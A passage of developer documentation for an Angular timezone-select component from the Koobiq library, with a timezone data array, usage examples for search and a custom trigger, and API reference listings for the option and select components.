,city:"Tomsk",countryCode:"RU",countryName:"Russia"},{offset:"08:00:00",associatedZones:[],id:"Asia/Irkutsk",city:"Irkutsk",countryCode:"RU",countryName:"Russia"},{offset:"09:00:00",associatedZones:[],id:"Asia/Chita",city:"Chita",countryCode:"RU",countryName:"Russia"},{offset:"09:00:00",associatedZones:[{id:"Asia/Khandyga",city:"Khandyga",countryCode:"RU",countryName:"Russia"}],id:"Asia/Yakutsk",city:"Yakutsk",countryCode:"RU",countryName:"Russia"},{offset:"10:00:00",associatedZones:[{id:"Asia/Ust-Nera",city:"Ust-Nera",countryCode:"RU",countryName:"Russia"}],id:"Asia/Vladivostok",city:"Vladivostok",countryCode:"RU",countryName:"Russia"},{offset:"11:00:00",associatedZones:[],id:"Asia/Srednekolymsk",city:"Srednekolymsk",countryCode:"RU",countryName:"Russia"},{offset:"11:00:00",associatedZones:[],id:"Asia/Magadan",city:"Magadan",countryCode:"RU",countryName:"Russia"},{offset:"11:00:00",associatedZones:[],id:"Asia/Sakhalin",city:"Sakhalin",countryCode:"RU",countryName:"Russia"},{offset:"12:00:00",associatedZones:[{id:"Asia/Anadyr",city:"Anadyr",countryCode:"RU",countryName:"Russia"}],id:"Asia/Kamchatka",city:"Kamchatka",countryCode:"RU",countryName:"Russia"}];
```

#### Zone data

`KbqTimezoneZone.offset` is optional, and leaving it out is the safer choice: the offset is then resolved from the IANA `id` every time the option renders, so a zone that observes daylight saving time is labelled correctly on both sides of the change. A string supplied there is rendered verbatim and never recomputed — keeping it current is up to you.

Grouping is done by three pure helpers, so the same data produces the same list on the server and in the browser:

```ts
// One group per country, ordered by country name.
const groups = getZonesGroupedByCountry(zones);

// The user's own country first, the rest in place.
promoteCountry(groups, kbqResolveHostCountry(zones));

// The user's own country first, every other country behind one label.
collapseOtherCountries(groups, 'ru', 'Other countries');
```

`kbqResolveHostCountry` is the only one that reads `Intl`, and it is kept separate for that reason: on the server it resolves the server's time zone, not the user's.

#### Dropdown menu size

The menu width is configured exactly as on the [select](https://koobiq.io/en/components/select.md), with the same attributes: by default the menu grows with its content, never gets narrower than the field or than 200 pixels, and stops at 640 pixels.

```html
<!-- Match the field exactly -->
<kbq-timezone-select panelWidth="auto" />

<!-- A fixed width; panelMinWidth is not applied to it -->
<kbq-timezone-select [panelWidth]="800" />

<!-- Let the menu grow further with its content -->
<kbq-timezone-select [panelMaxWidth]="800" />
```

#### Search

Search splits a multi-word query into parts and searches for them independently, trims leading and trailing spaces, is case-insensitive, and folds diacritics. The algorithm is described in the [Smart search guide](https://koobiq.io/en/other/search-smart.md).

The placeholder of the search field comes from the active locale unless you bind one yourself.

**Example: Timezone search** (`timezone-search-overview`)

```ts timezone-search-overview-example.ts
import { AsyncPipe } from '@angular/common';
import { ChangeDetectionStrategy, Component, OnInit } from '@angular/core';
import { FormControl, ReactiveFormsModule } from '@angular/forms';
import { createSearchPredicate, kbqInjectLocaleConfiguration, tokenizeSearchQuery } from '@koobiq/components/core';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqSelectModule } from '@koobiq/components/select';
import {
    collapseOtherCountries,
    getZonesGroupedByCountry,
    KBQ_TIMEZONE_LOCALE_CONFIGURATION,
    kbqResolveHostCountry,
    KbqTimezoneGroup,
    KbqTimezoneModule,
    KbqTimezoneZone,
    offsetFormatter,
    resolveZoneOffset
} from '@koobiq/components/timezone';
import { merge, Observable, of } from 'rxjs';
import { debounceTime, distinctUntilChanged, map } from 'rxjs/operators';
import { timezones } from '../timezone-data';

/** `offsetFormatter` renders the sign with U+2212 (minus sign), which a normal keyboard can't type. */
function normalizeOffsetDash(value: string): string {
    return value.replace(/[—−]/g, '-');
}

@Component({
    selector: 'timezone-search-overview-example',
    imports: [
        KbqTimezoneModule,
        KbqIconModule,
        KbqSelectModule,
        KbqInputModule,
        ReactiveFormsModule,
        AsyncPipe
    ],
    template: `
        <kbq-form-field>
            <kbq-timezone-select [(value)]="selected">
                <!-- No [placeholder] here: the select fills it in from the active locale. -->
                <kbq-form-field noBorders kbqSelectSearch>
                    <i kbq-icon="kbq-magnifying-glass_16" kbqPrefix></i>
                    <input autocomplete="off" kbqInput type="text" [formControl]="searchControl" />
                    <kbq-cleaner />
                </kbq-form-field>

                <div kbq-select-search-empty-result>Nothing found</div>

                @for (group of filteredOptions$ | async; track group) {
                    <kbq-optgroup [label]="group.countryName">
                        @for (timezone of group.zones; track timezone) {
                            <kbq-timezone-option
                                [highlightText]="searchTokens"
                                [foldDiacritics]="true"
                                [timezone]="timezone"
                            />
                        }
                    </kbq-optgroup>
                }
            </kbq-timezone-select>
        </kbq-form-field>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TimezoneSearchOverviewExample implements OnInit {
    filteredOptions$: Observable<KbqTimezoneGroup[]>;
    searchControl: FormControl = new FormControl();
    selected = Intl.DateTimeFormat().resolvedOptions().timeZone;
    priorityCountry?: string;
    protected searchTokens: string[] = [];

    private readonly data: KbqTimezoneZone[];
    private readonly configuration = kbqInjectLocaleConfiguration('timezone', KBQ_TIMEZONE_LOCALE_CONFIGURATION);

    constructor() {
        this.data = timezones.map(({ associatedZones, ...zone }) => ({
            ...zone,
            cities: Array.isArray(associatedZones)
                ? associatedZones
                      .map(({ city }) => city)
                      .sort()
                      .join(', ')
                : ''
        }));

        this.priorityCountry = kbqResolveHostCountry(this.data);
    }

    ngOnInit(): void {
        this.filteredOptions$ = merge(
            of(this.group(this.data)),
            this.searchControl.valueChanges.pipe(
                distinctUntilChanged(),
                debounceTime(500),
                map(() => this.group(this.getFilteredData()))
            )
        );
    }

    /** The host's country first, every other country behind one localized label. */
    private group(zones: KbqTimezoneZone[]): KbqTimezoneGroup[] {
        return collapseOtherCountries(
            getZonesGroupedByCountry(zones),
            this.priorityCountry,
            this.configuration().otherCountriesLabel
        );
    }

    private getFilteredData(): KbqTimezoneZone[] {
        this.searchTokens = tokenizeSearchQuery(this.searchControl.value ?? '');

        const predicate = createSearchPredicate(this.searchControl.value ?? '');

        return this.data.filter((timezone: KbqTimezoneZone) =>
            predicate([
                normalizeOffsetDash(offsetFormatter(resolveZoneOffset(timezone))),
                timezone.city,
                timezone.cities
            ])
        );
    }
}
```

#### Keyboard and accessibility

Keyboard control and screen-reader announcements are those of the [select](https://koobiq.io/en/components/select.md). One thing differs: typing letters in the field or in the open menu moves to the option whose city starts with them. Offsets are not matched this way — every option would start with `UTC` — so use the search to find a zone by its offset.

#### Custom trigger

`kbq-timezone-select-trigger` is a directive that allows you to define a custom display for the selected value.

**Example: Timezone trigger** (`timezone-trigger-overview`)

```ts timezone-trigger-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqIconModule } from '@koobiq/components/icon';
import {
    getZonesGroupedByCountry,
    kbqResolveHostCountry,
    KbqTimezoneGroup,
    KbqTimezoneModule,
    KbqTimezoneZone,
    promoteCountry
} from '@koobiq/components/timezone';
import { timezones } from '../timezone-data';

@Component({
    selector: 'timezone-trigger-overview-example',
    imports: [KbqTimezoneModule, KbqIconModule],
    template: `
        <kbq-form-field>
            <kbq-timezone-select [(value)]="selected">
                <kbq-timezone-select-trigger>
                    <div class="layout-row layout-align-start-center">
                        <i color="contrast-fade" kbq-icon="kbq-clock_16" style="margin-right: 8px"></i>
                        <span>{{ selected }}</span>
                    </div>
                </kbq-timezone-select-trigger>

                @for (group of data; track group) {
                    <kbq-optgroup [label]="group.countryName">
                        @for (timezone of group.zones; track timezone) {
                            <kbq-timezone-option [timezone]="timezone" />
                        }
                    </kbq-optgroup>
                }
            </kbq-timezone-select>
        </kbq-form-field>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class TimezoneTriggerOverviewExample {
    selected = Intl.DateTimeFormat().resolvedOptions().timeZone;

    readonly data: KbqTimezoneGroup[] = [];

    constructor() {
        const zones: KbqTimezoneZone[] = timezones.map(({ associatedZones, ...zone }) => ({
            ...zone,
            cities: Array.isArray(associatedZones)
                ? associatedZones
                      .map(({ city }) => city)
                      .sort()
                      .join(', ')
                : ''
        }));

        this.data = promoteCountry(getZonesGroupedByCountry(zones), kbqResolveHostCountry(zones));
    }
}
```

### API

#### Components

##### KbqTimezoneOption (component)

```ts
@Component({ selector: 'kbq-timezone-option', exportAs: 'kbqTimezoneOption' })
class KbqTimezoneOption extends KbqOption {
    readonly highlightText = input<string | readonly string[]>();
    readonly foldDiacritics = input<boolean>(false);
    timezone = input<KbqTimezoneZone>();
    value = input<any>();
    viewValue = input<string | undefined>();
    readonly selectable = input<boolean>(true);
    readonly userSelect = input<boolean>(false);
    showCheckbox = input<boolean | undefined>();
    disabled = input<boolean>(false);
    readonly tooltipContentWrapper: Signal<ElementRef<HTMLElement>>;
    readonly tooltipContent: Signal<ElementRef<HTMLElement>>;
    get tooltipViewValue(): string;
    readonly group: KbqOptgroup | null;
    get textElement(): ElementRef<HTMLElement> | undefined;
    readonly onSelectionChange: EventEmitter<KbqOptionSelectionChange>;
    readonly stateChanges: Subject<void>;
    get multiple(): boolean;
    get id(): string;
    get selected(): boolean;
    get active(): boolean;
    getLabel(): string;
    select(emitEvent?: boolean): void;
    deselect(emitEvent?: boolean): void;
    focus(): void;
    setActiveStyles(): void;
    setInactiveStyles(): void;
    handleKeydown(event: KeyboardEvent): void;
    selectViaInteraction(): void;
    getTabIndex(): string;
    getHostElement(): HTMLElement;
}
```

- `[foldDiacritics]`: `boolean` — Whether `highlightText` was matched with diacritic folding (e.g. via `createSearchPredicate`) — see `kbqHighlightBackground`.
- `[timezone]`: `KbqTimezoneZone` — The time zone the option stands for.
- `[value]`: `any` — The id of the time zone, unless no time zone is bound.
- `[viewValue]`: `string | undefined` — The whole zone as one line: the offset, the city and every city the zone covers.
- `[showCheckbox]`: `boolean | undefined` — Whether the option renders a checkbox. Follows the multiple selection mode of the parent until bound.
- `[disabled]`: `boolean` — Whether the option is disabled, through its own input or its group.
- `tooltipViewValue`: `string` — The same line as `viewValue`, but with the city list narrowed by `highlightText` exactly as the
  rendered list is. The overflow tooltip shows this one, so it never lists a city the search has just
  filtered out of the option under it.
- `textElement`: `ElementRef<HTMLElement> | undefined` — Element holding the text of the option, measured by `kbq-title`.
- `onSelectionChange`: `EventEmitter<KbqOptionSelectionChange>` — Event emitted when the option is selected or deselected. A stream rather than an `output()`: it keeps
  emitting after the option is destroyed, because a select holds on to a selected option that its search or
  virtual scroll removed.
- `stateChanges`: `Subject<void>` — Emits when the state of the option changes and any parents have to be notified.
- `multiple`: `boolean` — Whether the wrapping component is in multiple selection mode.
- `active`: `boolean` — Whether or not the option is currently active and ready to be selected.
  An active option displays styles as if it is focused, but the
  focus is actually retained somewhere else. This comes in handy
  for components like autocomplete where focus must remain on the input.
- `getLabel()`: `string` — The city, which is what typeahead matches. `viewValue` opens with the offset, so every option would
  start with `UTC` and typing a city's first letters would never move past the first one — and a zone west
  of UTC is written with U+2212, which a keyboard cannot type at all.
- `focus()`: `void` — Moves keyboard focus to this option and reveals it — see `kbqFocusAndReveal`.
- `setActiveStyles()`: `void` — This method sets display styles on the option to make it appear
  active. This is used by the ActiveDescendantKeyManager so key
  events will display the proper options as active on arrow key events.
- `setInactiveStyles()`: `void` — This method removes display styles on the option that made it appear
  active. This is used by the ActiveDescendantKeyManager so key
  events will display the proper options as active on arrow key events.
- `handleKeydown()`: `void` — Ensures the option is selected when activated from the keyboard.
- `selectViaInteraction()`: `void` — Selects the option while indicating the selection came from the user. Used to
  determine if the select's view -> model callback should be invoked.

##### KbqTimezoneSelect (component)

```ts
@Component({ selector: 'kbq-timezone-select', exportAs: 'kbqTimezoneSelect' })
class KbqTimezoneSelect extends KbqSelect {
    readonly hiddenItemsText = input<string>();
    readonly hiddenItemsTextFormatter = input<(hiddenItemsText: string, hiddenItems: number) => string>(
        (hiddenItemsText, hiddenItems) => hiddenItemsText.replace('{{ number }}', hiddenItems.toString())
    );
    readonly ariaLabel = input<string | null>(null, {
        alias: 'aria-label'
    });
    readonly showPreselectedValues = input<boolean>(false);
    readonly triggerValuesLimit = input<number>(0);
    readonly panelClass = input<string | string[] | Set<string> | Record<string, boolean>>();
    readonly backdropClass = input<string>(
        'cdk-overlay-transparent-backdrop'
    );
    readonly errorStateMatcher = input<ErrorStateMatcher>();
    readonly sortComparator = input<(a: KbqOptionBase, b: KbqOptionBase, options: KbqOptionBase[]) => number>();
    readonly multiline = input<boolean>(false);
    readonly multilineOptions = input<boolean>(
        this.defaultOptions?.multilineOptions ?? false
    );
    readonly searchMinOptionsThreshold = input<'auto' | number | undefined>();
    readonly scrolledToBottomOffset = input<number>(0);
    readonly hasBackdrop = input<boolean>(false);
    readonly placeholder = input<string>();
    readonly required = input<boolean>(false);
    multiple = input<boolean>(false);
    readonly compareWith = input<(o1: any, o2: any) => boolean>(
        (o1, o2) => o1 === o2
    );
    readonly virtualOptionFactory = input<(value: any) => KbqVirtualOption>();
    readonly clearPredicate = input<(option: KbqOptionBase) => boolean>(
        this.defaultOptions?.clearPredicate ?? ((option) => !option.disabled)
    );
    readonly selectAllToggle = input<boolean>(false);
    readonly selectAll = input<boolean>(false);
    selectAllHandler = input<((event: KeyboardEvent, select: KbqSelect) => void) | undefined>();
    readonly panelWidth = input<KbqPanelWidth>(
        this.defaultOptions?.panelWidth ?? null
    );
    readonly panelMinWidth = input<KbqPanelMinWidth>(
        this.defaultOptions?.panelMinWidth === undefined
            ? KBQ_PANEL_DEFAULT_MIN_WIDTH
            : this.defaultOptions.panelMinWidth
    );
    readonly panelMaxWidth = input<KbqPanelMaxWidth>(
        this.defaultOptions?.panelMaxWidth === undefined ? null : this.defaultOptions.panelMaxWidth
    );
    readonly panelMaxHeight = input<KbqPanelMaxHeight>(
        this.defaultOptions?.panelMaxHeight === undefined ? null : this.defaultOptions.panelMaxHeight
    );
    readonly value = model<any>();
    readonly id = input<string | undefined>();
    readonly disabled = input<boolean>(false);
    readonly beforeOpened = output<void>();
    readonly selectionChange = output<KbqSelectChange>();
    readonly onSelectAll = output<KbqSelectAllEvent<KbqOption, KbqSelect>>();
    readonly scrolledToBottom = output<void>();
    readonly customTrigger: Signal<KbqTimezoneSelectTrigger | undefined>;
    readonly timezoneLocaleConfiguration: Signal<KbqTimezoneLocaleConfiguration>;
    defaultErrorStateMatcher: ErrorStateMatcher;
    elementRef: ElementRef<HTMLElement>;
    parentForm: NgForm | null;
    parentFormGroup: FormGroupDirective | null;
    ngControl: NgControl | null;
    readonly errorState: Signal<boolean>;
    controlType: string;
    readonly isNativeLabelSupported: false;
    readonly hiddenItems: Signal<number>;
    triggerFontSize: number;
    selectionModel: SelectionModel<KbqOptionBase>;
    previousSelectionModelSelected: KbqOptionBase[];
    keyManager: ActiveDescendantKeyManager<KbqOption>;
    transformOrigin: string;
    panelDoneAnimatingStream: Subject<string>;
    scrollStrategy: ScrollStrategy;
    positions: ConnectedPosition[];
    readonly trigger: Signal<ElementRef<any> | undefined>;
    readonly panel: Signal<ElementRef<any> | undefined>;
    readonly optionsContainer: Signal<ElementRef<any>>;
    readonly selectAllOption: Signal<KbqOption | undefined>;
    readonly footer: Signal<ElementRef<any> | undefined>;
    readonly cdkVirtualForOf: Signal<CdkVirtualForOf<any> | undefined>;
    readonly virtualScrollViewport: Signal<CdkVirtualScrollViewport | undefined>;
    get tags(): QueryList<KbqTag>;
    readonly customMatcher: Signal<KbqSelectMatcher | undefined>;
    readonly customTagTemplateRef: Signal<TemplateRef<any> | undefined>;
    get options(): QueryList<KbqOption>;
    readonly optionGroups: Signal<readonly KbqOptgroup[]>;
    readonly search: Signal<KbqSelectSearch | undefined>;
    readonly searchEmpty: Signal<KbqSelectSearchEmptyResult | undefined>;
    readonly optionSelectionChanges: Observable<KbqOptionSelectionChange>;
    readonly openedChange: EventEmitter<boolean>;
    readonly openedStream: Observable<void>;
    readonly closedStream: Observable<void>;
    readonly focused: Signal<boolean>;
    panelOpen: boolean;
    get isAttached(): boolean;
    withVirtualScroll: boolean;
    get isEmptySearchResult(): boolean;
    get allOptionsSelected(): boolean;
    get selectAllState(): KbqPseudoCheckboxState;
    get selected(): KbqOptionBase | KbqOptionBase[];
    get triggerValue(): string;
    get triggerValues(): KbqOptionBase[];
    readonly empty: Signal<boolean>;
    get noOptions(): boolean;
    get firstSelected(): KbqOptionBase | null;
    get firstFiltered(): boolean;
    get multiSelection(): boolean;
    calculateHiddenItems: () => void;
    updateErrorState(): void;
    resetSearch(): void;
    toggle(): void;
    open(): void;
    openPanel(): void;
    close(): void;
    isRtl(): boolean;
    handleKeydown(event: KeyboardEvent): void;
    onFocus(): void;
    onBlur(): void;
    onAttached(): void;
    getPanelTheme(): string;
    focus(): void;
    onRemoveMatcherItem(option: KbqOptionBase, $event: Event): void;
    getItemHeight(): number;
    handleClick($event: MouseEvent): void;
}
```

- `[hiddenItemsText]`: `string` — Template string for the hidden items counter. Supports the `{{ number }}` placeholder.

  Takes precedence over the value the locale service provides, and keeps it for the whole lifetime of
  the select — switching the locale no longer overwrites what the consumer asked for.
- `[hiddenItemsTextFormatter]`: `(hiddenItemsText: string, hiddenItems: number) => string` — Formats the hidden items counter.
- `[aria-label]`: `string | null` — Accessible name of the trigger and of the option list.

  Only needed for a select rendered without a `kbq-form-field` label — with one, the label names both.
- `[showPreselectedValues]`: `boolean` — Determines whether preselected values are displayed.
- `[triggerValuesLimit]`: `number` — Specifies the maximum number of trigger values allowed.
  This constant limits the size of the trigger values array to ensure performance
  and prevent excessive memory usage.
  A value of `0` indicates that there is no limit.
- `[panelClass]`: `string | string[] | Set<string> | Record<string, boolean>` — Classes to be passed to the select panel. Supports the same syntax as the `[class]` binding.
- `[backdropClass]`: `string` — Classes to be passed to the overlay backdrop.
- `[errorStateMatcher]`: `ErrorStateMatcher` — Object used to control when error messages are shown.
- `[sortComparator]`: `(a: KbqOptionBase, b: KbqOptionBase, options: KbqOptionBase[]) => number` — Function used to sort the values in a select in multiple mode.
  Follows the same logic as `Array.prototype.sort`.

  Without one the values are emitted in panel order — the order the options are declared in, not the
  order they were picked in. A value whose option is not rendered (a `KbqVirtualOption` under virtual
  scroll or `showPreselectedValues`) has no place in that order and sorts after everything that has.
- `[multiline]`: `boolean` — Whether to use a multiline matcher or not. Default is false.
  When true, allows multiple lines of text in the selected value display.
- `[multilineOptions]`: `boolean` — Whether option text wraps onto multiple lines. When `panelWidth` is nullish, the panel matches the trigger
  width; an explicit `panelWidth` takes precedence. Not supported with `cdk-virtual-scroll-viewport`: the panel
  modifier and automatic width fallback are not applied. Defaults to `false`.
- `[searchMinOptionsThreshold]`: `'auto' | number | undefined` — Controls when the search functionality is displayed based on the number of available options.

  Automatically enables search hiding if value provided, even if `defaultOptions.searchMinOptionsThreshold` is provided.

  Accepts `'auto'`, which resolves to `KBQ_SELECT_SEARCH_MIN_OPTIONS_THRESHOLD`; the getter therefore
  reports the resolved number, never `'auto'`. Defaults to `undefined`.
- `[scrolledToBottomOffset]`: `number` — Distance in pixels from the bottom of the options panel at which `scrolledToBottom` fires.
  Default `0` — emits only when the panel is fully scrolled to the bottom.
- `[hasBackdrop]`: `boolean` — Whether the overlay should have a backdrop.
  When true, clicking the backdrop will close the select.
- `[placeholder]`: `string` — Placeholder text to be shown when no value is selected.
  Displayed in the trigger when the select is closed and no value is selected.
- `[required]`: `boolean` — Whether the select is required. Affects validation and display of placeholder.
- `[multiple]`: `boolean` — Whether multiple options can be selected.
  Note: This cannot be changed dynamically after initialization.
- `[compareWith]`: `(o1: any, o2: any) => boolean` — Function to compare the option values with the selected values.
  The first argument is a value from an option.
  The second is a value from the selection.
  Should return true if the values match.
  Defaults to strict equality comparison.
- `[virtualOptionFactory]`: `(value: any) => KbqVirtualOption` — Factory used to construct a `KbqVirtualOption` for selected values whose
  `KbqOption` is not currently rendered (e.g. virtual scroll out of viewport,
  programmatically set initial value, `showPreselectedValues`).

  Required when option values are objects so the trigger (and tags in
  multiple mode) can render a human-readable label. Also lets consumers
  customise per-value `disabled` state or any future `KbqVirtualOption`
  fields without adding new `@Input`s.

  Defaults to `new KbqVirtualOption(value, this.disabled())`, which is correct
  for primitive values where `value` itself is the display label.
- `[clearPredicate]`: `(option: KbqOptionBase) => boolean` — Decides which selected options the projected `KbqCleaner` removes: return `true` to clear the
  option, `false` to keep it. Disabled options are kept by default. Bind a stable reference — a new
  function on every change detection re-runs the predicate over the whole selection.

  Not consulted by `writeValue` / `reset()`, which always clear everything.
- `[selectAllToggle]`: `boolean` — When `true`, a repeated Ctrl/Cmd+A deselects all options. Off by default (Ctrl+A only selects).
- `[selectAll]`: `boolean` — Whether to render the "select all" master checkbox above the options. Multiple selection only.

  The row acts on the options the user can actually toggle — rendered, enabled and selectable. Since
  search filtering removes options from the DOM, "select all" under an active query selects only the
  matches. Enabling it also makes Ctrl/Cmd + A a two-way toggle, so the shortcut and the checkbox
  never disagree (`selectAllToggle` is implied).
- `[selectAllHandler]`: `((event: KeyboardEvent, select: KbqSelect) => void) | undefined` — Function for handling the Ctrl + A (select all) keyboard combination.
  By default, the internal handler selects all options.
  It is called with the keyboard event that triggered it and a reference to this select component.
- `[panelWidth]`: `KbqPanelWidth` — Width of the panel. If set to `auto`, the panel will match the trigger width, but will never be
  narrower than `panelMinWidth`. If set to null or an empty string, the panel will grow to match the
  longest option's text. Any other value is used as an exact width, and `panelMinWidth` is not applied.
- `[panelMinWidth]`: `KbqPanelMinWidth` — Minimum width of the panel in pixels.
  If minWidth is larger than window width, it will be ignored.
- `[panelMaxWidth]`: `KbqPanelMaxWidth` — Maximum width of the panel in pixels. Caps how far the panel grows with its content — it never makes
  the panel narrower than the trigger, and never clamps an explicit `panelWidth`.
  When null, the `--kbq-panel-size-width-max` token applies.
- `[panelMaxHeight]`: `KbqPanelMaxHeight` — Maximum height of the panel's scrollable option list, in pixels. Applied as the
  `--kbq-select-panel-size-max-height` custom property on the panel, so it also drives the pinned height
  of a `cdk-virtual-scroll-viewport` — with virtual scroll the value is an exact height, not a cap.

  The search field and the footer sit outside the scrollable area and add to the panel's total height.
  When null, the token default (256px) applies.
- `[(value)]`: `any` — Value of the select control. Can be a single value or array of values for multiple selection. Follows
  `[value]`, the form control and the user's selection. A value set in code selects its options on the next
  change detection, without emitting `valueChange`.
- `[id]`: `string | undefined` — Unique identifier for the select component.
  Auto-generates an ID if not provided.
- `[disabled]`: `boolean` — Whether the select is disabled.
  When disabled, the select cannot be opened and its value cannot be changed. Also set by the bound form
  control.
- `(beforeOpened)`: `void` — Event emitted before the select panel starts opening.
- `(selectionChange)`: `KbqSelectChange` — Event emitted when the selected value has been changed by the user.
- `(onSelectAll)`: `KbqSelectAllEvent<KbqOption, KbqSelect>` — Event emitted when all options are selected or deselected via the Ctrl/Cmd + A shortcut.
  Not emitted when a custom `selectAllHandler` is supplied — the handler owns the behaviour then.
- `(scrolledToBottom)`: `void` — Emits when the options panel is scrolled to (or within `scrolledToBottomOffset` of) the bottom.
- `timezoneLocaleConfiguration`: `Signal<KbqTimezoneLocaleConfiguration>` — Strings currently rendered by the select.
- `errorState`: `Signal<boolean>` — Whether the component is in an error state.
- `controlType`: `string` — A name for this control that can be used by `kbq-form-field`.
- `isNativeLabelSupported`: `false` — A `kbq-select` is not a native labelable element, so the form-field's `<label for>` cannot
  associate with it. The select is named through `aria-labelledby` instead.
- `hiddenItems`: `Signal<number>` — Number of the selected items that do not fit into the trigger.
- `triggerFontSize`: `number` — The cached font-size of the trigger element in pixels.
- `selectionModel`: `SelectionModel<KbqOptionBase>` — Deals with the selection logic. Manages selected options and their states.
- `previousSelectionModelSelected`: `KbqOptionBase[]` — Previously selected options before the current selection was made.
- `keyManager`: `ActiveDescendantKeyManager<KbqOption>` — Manages keyboard events for options in the panel.
- `transformOrigin`: `string` — The value of the select panel's transform-origin property.
- `panelDoneAnimatingStream`: `Subject<string>` — Emits once the panel has rendered (`'showing'`) or has been removed (`'void'`).
- `scrollStrategy`: `ScrollStrategy` — Strategy that will be used to handle scrolling while the select panel is open.
- `positions`: `ConnectedPosition[]` — Opens the panel below the trigger, falling back to above it when it does not fit.

  A third position is appended at runtime by `updatePanelAnchor`: a multiline trigger that has grown
  taller than the panel gets it anchored to its first row and drawn over the rest of it.
- `trigger`: `Signal<ElementRef<any> | undefined>` — Trigger - is a clickable field to open select dropdown panel
- `panel`: `Signal<ElementRef<any> | undefined>` — Reference to the overlay panel element.
- `optionsContainer`: `Signal<ElementRef<any>>` — Reference to the container element that holds the options.
- `selectAllOption`: `Signal<KbqOption | undefined>` — Reference to the built-in "select all" row, rendered only while `selectAll` is on.
- `footer`: `Signal<ElementRef<any> | undefined>` — Reference to the optional footer element in the panel.
- `cdkVirtualForOf`: `Signal<CdkVirtualForOf<any> | undefined>` — Reference to the CDK virtual scroll directive for virtual scrolling support.
- `virtualScrollViewport`: `Signal<CdkVirtualScrollViewport | undefined>` — Reference to the CDK virtual scroll viewport for tracking scroll position in virtual mode.
- `tags`: `QueryList<KbqTag>` — Query list of tags displayed in multiple selection mode.
- `customMatcher`: `Signal<KbqSelectMatcher | undefined>` — User-supplied matcher component for custom value matching logic.
- `customTagTemplateRef`: `Signal<TemplateRef<any> | undefined>` — Custom template reference for rendering tag content.
- `options`: `QueryList<KbqOption>` — All of the defined select options.
- `optionGroups`: `Signal<readonly KbqOptgroup[]>` — All of the defined groups of options.
- `search`: `Signal<KbqSelectSearch | undefined>` — Reference to the optional search component.
- `searchEmpty`: `Signal<KbqSelectSearchEmptyResult | undefined>` — Reference to the optional empty search result component.
- `optionSelectionChanges`: `Observable<KbqOptionSelectionChange>` — Combined stream of all of the child options' change events.
- `openedChange`: `EventEmitter<boolean>` — Event emitted when the select panel has been toggled. Emits true when opened, false when closed.
  Also serves as the `openedChange` member of the `KbqSiblingPopup` contract — a tooltip sharing
  this element's host reacts to it, so its emission timing (gated on `panelDoneAnimatingStream`, see
  `ngOnInit`) matters beyond this output's original consumers.
- `openedStream`: `Observable<void>` — Event emitted when the select has been opened.
- `closedStream`: `Observable<void>` — Event emitted when the select has been closed.
- `focused`: `Signal<boolean>` — Whether the select is focused.
- `panelOpen`: `boolean` — Whether the select panel is currently open.
- `isAttached`: `boolean` — Whether the overlay panel is currently on screen. Part of the `KbqSiblingPopup` contract.
- `withVirtualScroll`: `boolean` — Whether virtual scrolling is enabled for the options panel.
- `isEmptySearchResult`: `boolean` — Whether the search returned no results.
- `allOptionsSelected`: `boolean` — Whether every option "select all" can act on is selected.
- `selectAllState`: `KbqPseudoCheckboxState` — State of the "select all" master checkbox.
- `selected`: `KbqOptionBase | KbqOptionBase[]` — Returns the currently selected option(s). Single value or array for multiple selection.
- `triggerValue`: `string` — Returns the display value for the trigger element.
- `triggerValues`: `KbqOptionBase[]` — Returns all selected options in display order.
- `empty`: `Signal<boolean>` — Whether no option is currently selected.
- `noOptions`: `boolean` — Whether there are no options available.
- `firstSelected`: `KbqOptionBase | null` — Returns the first selected option that is not disabled.
- `firstFiltered`: `boolean` — Whether the first selected option is filtered (not visible in the list).
- `multiSelection`: `boolean` — Whether multiple choice is enabled. True if multiple or multiline mode is active.
- `calculateHiddenItems`: `() => void` — Calculates the number of hidden items in multiple selection mode and updates `hiddenItems`.
- `updateErrorState()`: `void` — Updates the error state based on the error state matcher.
- `resetSearch()`: `void` — Resets the search component if present.
- `toggle()`: `void` — Toggles the overlay panel open or closed.
- `open()`: `void` — Triggers the opening of the panel component.
  If the component is disabled or the panel is already open, the call is ignored.
  Otherwise, the (beforeOpened) event is emitted.
  When no options are available, the panel is opened after a short delay;
  if options exist, it opens immediately.
- `openPanel()`: `void` — Internal method to open the panel. Handles overlay positioning and sizing.
  Sets up the overlay dimensions based on trigger size and configured options.
- `close()`: `void` — Closes the overlay panel.
- `isRtl()`: `boolean` — Checks if the current direction is RTL (right-to-left).
  - returns `boolean` — True if RTL mode is active, false otherwise.
- `handleKeydown()`: `void` — Handles all keyboard events for the select.
  Delegates to appropriate handler based on panel state.
  - `event`: `KeyboardEvent` — The keyboard event to handle.
- `onFocus()`: `void` — Handles focus event on the select element.
- `onBlur()`: `void` — Calls the touched callback only if the panel is closed. Otherwise, the trigger will
  "blur" to the panel when it opens, causing a false positive.
- `onAttached()`: `void` — Callback that is invoked when the overlay panel has been attached.
  Sets up position change subscription and closing actions.
- `getPanelTheme()`: `string` — Returns the theme to be used on the panel based on parent form field color.
- `focus()`: `void` — Focuses the select element.
- `onRemoveMatcherItem()`: `void` — Handles removal of a matched item in the trigger.
  - `option`: `KbqOptionBase` — The option to remove from selection.
  - `$event`: `Event` — The mouse or keyboard event that triggered the removal.
- `getItemHeight()`: `number` — Gets the height of a single option item.
  - returns `number` — The height in pixels of the first option, or 0 if no options exist.
- `handleClick()`: `void` — Handles click events on the select.
  Closes the panel if click is inside the footer.
  - `$event`: `MouseEvent` — The mouse event to handle.

#### Directives

##### KbqTimezoneOptionTooltip (directive)

```ts
@Directive({ selector: 'kbq-timezone-option' })
class KbqTimezoneOptionTooltip extends KbqTooltipTrigger {
    readonly ignoreTooltipPointerEvents = input<boolean>(true);
    readonly forDisabledComponent = input<Record<'disabledSignal', WritableSignal<boolean>>>();
    readonly singleInstance = input<boolean>(
        inject(KBQ_TOOLTIP_SINGLE_INSTANCE_DEFAULT),
        { alias: 'kbqTooltipSingleInstance' }
    );
    hideWithTimeout = input<boolean | undefined>();
    tooltipVisible: boolean;
    tooltipPlacement: KbqPopUpPlacementValues;
    relativeToPointer: boolean;
    relativeToCaret: boolean;
    relativeToCaretVertical: KbqCaretVerticalAnchor;
    tooltipPlacementPriority: string | string[] | null;
    content: string | TemplateRef<unknown>;
    disabled: boolean;
    enterDelay: number;
    leaveDelay: number;
    trigger: string;
    customClass: string;
